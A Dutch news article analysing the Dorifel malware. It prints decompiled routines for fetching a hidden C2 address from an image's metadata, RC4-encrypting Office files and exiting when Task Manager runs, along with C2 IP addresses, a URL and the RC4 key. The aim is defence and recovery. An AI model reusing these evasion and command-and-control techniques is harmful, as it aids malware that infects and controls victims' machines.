Voor de analyse is gebruik gemaakt van een van de twee veel voorkomende versies van het virus. Het virus is gedecompileerd en vervolgens geanalyseerd. Daarbij heeft Webwereld hulp gehad van Fox IT, beveiligingsexpert Jordy de Jong, Surfright en Fabian Wosar, CTO van Emsisoft. Wosar heeft een gratis tool beschikbaar gemaakt die de schade van het virus herstelt en sinds kort ook de softwareverwijzingen uit het Windows-register haalt. Surfright distribueert dit programma en maakte een eigen weergave van de gebeurtenissen.

Het virus is geschreven in de programmeertaal Delphi, maar is door het decompileren (terugzetten in leesbare code) leesbaar in de programmeertaal C. Het programma had in Delphi de naam “cassius_cley.dpr". Dat lijkt een verwijzing te zijn naar de echte naam van de bekende bokser Mohammad Ali, alleen heeft de auteur de achternaam verkeerd gespeld (Het is Clay in plaats van Cley). Nu kijken of het virus het net zoveel ronden uithoudt als zijn illustere bijna-naamgenoot.

Goed leesbaar

Een opvallend kenmerk van het virus is dat alle code relatief goed leesbaar is voor een geoefend programmeur. Dat is opmerkelijk, want bij veel malware wordt de werking van de malware zoveel mogelijk verborgen. Wie dan wil achterhalen hoe iets werkt, moet echt lang zoeken.

Bij Dorifel is de werking goed te achterhalen. Toch worden er wel onderdelen verborgen. Zo is niet heel eenvoudig te zien welk IP-adres wordt aangesproken om updates of commando's binnen te halen. Maar gelukkig is dat in het netwerkverkeer prima te zien en er is dan ook al ruimschoots geadviseerd om deze adressen (184.82.162.163 en 184.22.103.202) te blokkeren.

Overigens blijkt uit het onderzoek naar het geheugen van een voor de test geïnfecteerd systeem dat er nog een nieuw IP-adres, namelijk 158.255.211.28, als contactpunt voor de malware is. Wie de adressen (zakelijk of particulier) wil blokkeren kan dat vaak doen in de internetrouters.

Verborgen informatie

Wie de adviezen heeft opgevolgd heeft de voorgenoemde IP-adressen al uitgefilterd, en daarmee zou de malware niet meer in staat moeten zijn om updates uit te voeren. Maar de maker heeft een extra beveiligingsmaatregel ingevoegd, waardoor hij een nieuwe server kan aanwijzen.

In een routine 'Breaking Bad' zit code om een foto te downloaden van een account op 4game.com, een forum voor gamers. In die profielfoto zit vervolgens een code verborgen (

ET1w4q3L7mkMF8lQuFiE4Cyo3wVtrXmSBccsudkdh41XmT3FpI33uX2lWl63PwlCFH1XahV3uH/EtvNl4yG2HsKsmlWbaRanZm/c/81zGzfEamY/acfMk3EbAfsAXaELQ4FSh5eUcWCiYP6aWDNz/mCgYROd5Z84Upjl0Wpm
).

Deze code is te vinden door twee markeringen in de metadata van de foto:

<rdf:li>
</rdf:li>

De routine die de informatie uit de foto haalt is:

LPVOID __fastcall sub_40EA30(LPCWSTR lpString, int a2, int a3)

{

 const WCHAR *v3; // [email protected]

 const CHAR *v4; // [email protected]

 int v5; // [email protected]

 DWORD v6; // [email protected]

 void *FileContent; // [email protected]

 LPVOID EncodedString; // [email protected]

 int FileSize; // [sp+0h] [bp-14h]@1

 FileSize = a3;

 v3 = lpString;

 LOBYTE(lpString) = 8;

 v4 = (const CHAR *)sub_40C930(lpString);

 sub_40C3E0(v4);

 v5 = sub_40D0FC(0);

 VirtualFree_0((LPVOID)v4, 0, 0x8000u);

 DownloadUrlToFile(v3, v5, 0);

 FileContent = ReadFileToBuffer((LPCWSTR)v5, (SIZE_T *)&FileSize, v6);

 EncodedString = ExtractString((int)FileContent, FileSize, (int)" ", (int)" ");

 VirtualFree_0(FileContent, 0, 0x8000u);

 DeleteFileW((LPCWSTR)v5);

 VirtualFree_0((LPVOID)v5, 0, 0x8000u);

 VirtualFree_0((LPVOID)v3, 0, 0x8000u);

 return EncodedString;

}

Een opmerkelijk detail is dat de 'gamer' van wie de foto is ook weer 'Breaking Bad' heet.

De string is versleuteld met RC4 en gecodeerd met het BASE64-formaat, zo blijkt uit experimenten. De sleutel blijkt vervolgens

0D 0A 05 0F 59 7B 38 5A  5B 36 31 69 7E 0D 0D 09
te zijn.

Met die informatie in de foto heeft de malware de mogelijkheid om nieuwe adressen te vinden waar het de Command en Control-server kan vinden als de oude niet meer te benaderen is. Op die manier kan de maker zorgen dat als een server van het internet wordt verwijderd er toch nog controle over het virus is.

Het blokkeren van de twee IP-adressen is dan ook niet genoeg. Pas nadat het gamersaccount is geblokkeerd is en de foto verwijderd is het virus echt niet meer in staat zichzelf te updaten.

Volgende pagina: Launcher en update modus

Launcher en update modus

De malware kan in twee verschillende modi worden gestart. Ten eerste in de launcher modus, die werkt op de achtergrond en het kwaadaardige werk uitvoert. Daarnaast is er een update modus.

De launcher option draait in de achtergrond en start drie threads. De eerste is een soort waakhond die bestanden bewaakt:

  System::BeginThread(0, 0, (int)sub_40F790, 0, 0, (int)&v5);

Deze houdt alle bestanden en netwerkdrives in de gaten. Die wordt iedere vijf seconden actief. Als er Microsoft Word- en Excel-bestanden zijn om aan te versleutelen dan detecteert dit proces dat en gaat dat ook doen.

De tweede probeert contact te onderhouden met het 'moederschip':

  System::BeginThread(0, 0, (int)sub_40F740, (LPDWORD)v4, 0, (int)&v6);

Deze thread probeert iedere 1500 seconden contact te maken met de command en control server. Die is te vinden op het internet-adres: http://reslove-dns.com/bl/in.php. Op het moment van schrijven geeft deze nog geen commando's af, maar experts verwachten dat dat binnenkort zal veranderen.

Tot slot is er een thread die probeert om ontdekking van het virus te voorkomen. Dat gebeurt door te checken op de taskmanager waar de lopende processen in Windows zichtbaar zijn:

  System::BeginThread(0, 0, (int)sub_40E970, 0, 0, (int)&v7);

Deze checkt iedere 300ms of de taskmgr.exe (de taskmanager) draait en als dat zo is sluit dit het virus tijdelijk af. Dat afsluiten gebeurt door middel van een simpele routine:

void __cdecl CheckForRunningTaskManager()

{

while ( 1 )

{

if ( IsProcessRunning(L"taskmgr.exe") )

ExitProcess_0(0);

Sleep(300u);

}

Versleuteling

Een bekende werking van het virus is de versleuteling van Microsoft Word en Excel bestanden. Dat lijkt vrij eenvoudig in elkaar te steken en maakt gebruik van een zogenoemde sleutel (RC4). Met wat prutsen wordt duidelijk dat de sleutel opnieuw - net als bij verborgen URL in de foto - 0D 0A 05 0F 59 7B 38 5A 5B 36 31 69 7E 0D 0D 09 is. Wie dus zelf wil decrypten kan deze sleutel gebruiken, omdat deze voor alle infecties dezelfde lijkt te zijn.

Klik voor groot

De functie die het versleutelen en het ontcijferen doet ziet er als volgt uit:

int __fastcall sub_40CBC4(int a1, int a2, int a3)

{

int v3; // [email protected]

int v4; // [email protected]

int result; // [email protected]

int v6; // [email protected]

char v7; // [email protected]

int v8; // [sp+0h] [bp-14h]@1

int v9; // [sp+4h] [bp-10h]@1

v9 = a2;

v8 = a1;

LOBYTE(v3) = 0;

LOBYTE(v4) = 0;

result = a3;

v6 = 0;

do

{

v3 = (unsigned __int8)(v3 + 1);

v7 = byte_41DB1C[v3];

v4 = (unsigned __int8)(v7 + v4);

byte_41DB1C[v3] = byte_41DB1C[v4];

byte_41DB1C[v4] = v7;

*(_BYTE *)(v9 + v6) = byte_41DB1C[(unsigned __int8)(byte_41DB1C[v3] + v7)] ^ *(_BYTE *)(v8 + v6);

++v6;

--result;

}

while ( result );

return result;

}

Wat duidelijk wordt is dat het versleutelen van de documenten niet is bedoeld om het bestand ook echt ontoegankelijk te maken, omdat de nietsvermoedende gebruiker nog steeds bij zijn bestanden kan en ook hoeft er geen wachtwoord te worden gebruikt. Het lijkt er dan ook meer op dat het doel is om het virus moeilijker te detecteren te maken.

Eerdere berichten dat bestanden niet toegankelijk waren voor de gebruiker, wijzen er mogelijk op dat er soms problemen zijn met de werking van het virus. Wosar zegt tientallen mails te hebben gehad van mensen waarvan de bestanden beschadigd waren. Hij denkt dat dat komt door fouten in de code of door interactie met antiviruspakketten.

De software herkent zelf het einde van het bestand en het begin van de malware die aan door de malware versleutelde bestanden wordt toegevoegd:

int __fastcall sub_40D06C(LPCWSTR lpFileName)

{

 const WCHAR *v1; // [email protected]

 int v2; // [email protected]

 DWORD v3; // [email protected]

 int v4; // [email protected]

 void *v5; // [email protected]

 int v7; // [sp+0h] [bp-10h]@1

 LPSTR lpAddress; // [sp+4h] [bp-Ch]@1

 v1 = lpFileName;

 v2 = 0;

 lpAddress = (LPSTR)VirtualAlloc_0(0, 0x10u, 0x3000u, 0x40u);

 lstrcpyA(lpAddress, "[+++fpnesnpr+++]");

 sub_40C8D0((LPCSTR *)&lpAddress);

 v4 = (int)sub_40C728(v1, (SIZE_T *)&v7, v3);

 v5 = (void *)v4;

 if ( v4 && sub_40C79C(v4, lpAddress, v7) > 1 )

   LOBYTE(v2) = 1;

 VirtualFree_0(v5, 0, 0x8000u);

 VirtualFree_0(lpAddress, 0, 0x8000u);

 return v2;

}
Volgende pagina: Fouten en humor

RSA-versleuteling

Voor het communiceren met de command- en controlenode (het moederschip) gebruikt het virus een betere versleuteling, namelijk het RSA-algoritme, dat hier te vinden is. De sleutel hiervan is moeilijker te achterhalen.

Fouten

Zoals zojuist al opgemerkt zitten in de code van de maker ook fouten. Zo is het, zoals bekend, onmogelijk om door het getal 0 te delen. Toch blijkt dit in de malware te gebeuren:

v6 = __FPREM__(v7, v6);

v5 = v5 / v6;

Maar de programmeur is niet alleen soms wat slordig, hij blijkt ook over de nodige humor te beschikken. Zo heeft hij een routine gemaakt met de naam "SayHellotomyLittleFriend" die niets anders doet dan controleren of de malware al draait om zo te voorkomen dat het programma tweemaal wordt gestart. De naam is een subtiele verwijzing naar de klassieke scene uit de film Scarface (1993):

Zo zijn er meer verwijzingen naar films en TV-series.

Kaspersky

Een opmerkelijk detail is dat er in de malware een verwijzing naar Kaspersky zit. Ogenschijnlijk lijkt dat verbonden te zijn met een actie in het register van Windows, maar helemaal duidelijk is dat nog niet. Ook in een geheugendump die is gemaakt komt een verwijzing naar Kaspersky voor op een machine waar geen software van Kaspersky is geïnstalleerd of geïnstalleerd geweest. Tests met het antiviruspakket maken duidelijk dat er geen directe invloed tussen de malware en het beveiligingspakket is.

Omdat dit duidelijk een stukje code is dat nog niet voldragen is, lijkt het er sterk op dat de maker geprobeerd heeft om iets te doen met Kaspersky antivirus zonder dat nu al af te maken. Wat tijdens het onderzoek ook bleek is dat Kaspersky het virus niet herkent aan de code, maar pas aanslaat op het moment dat de malware bepaalde DNS-oproepen doet. Dat is aan de ene kant laat, maar aan de andere iets robuuster tegen veranderende verschijningsvormen van de malware.

Aanvullende informatie is ook te vinden op het blog van beveiligingsexpert Rickey Gevers die eveneens onderzoek naar de malware heeft gedaan.

Uit een analyse van Digital Investigation wordt duidelijk dat er een reden is waarom Nederland meer dan gemiddeld is getroffen. Op een van de servers zijn sporen van een aantal phishingwebsites aangetroffen die zich specifiek op Nederland richten.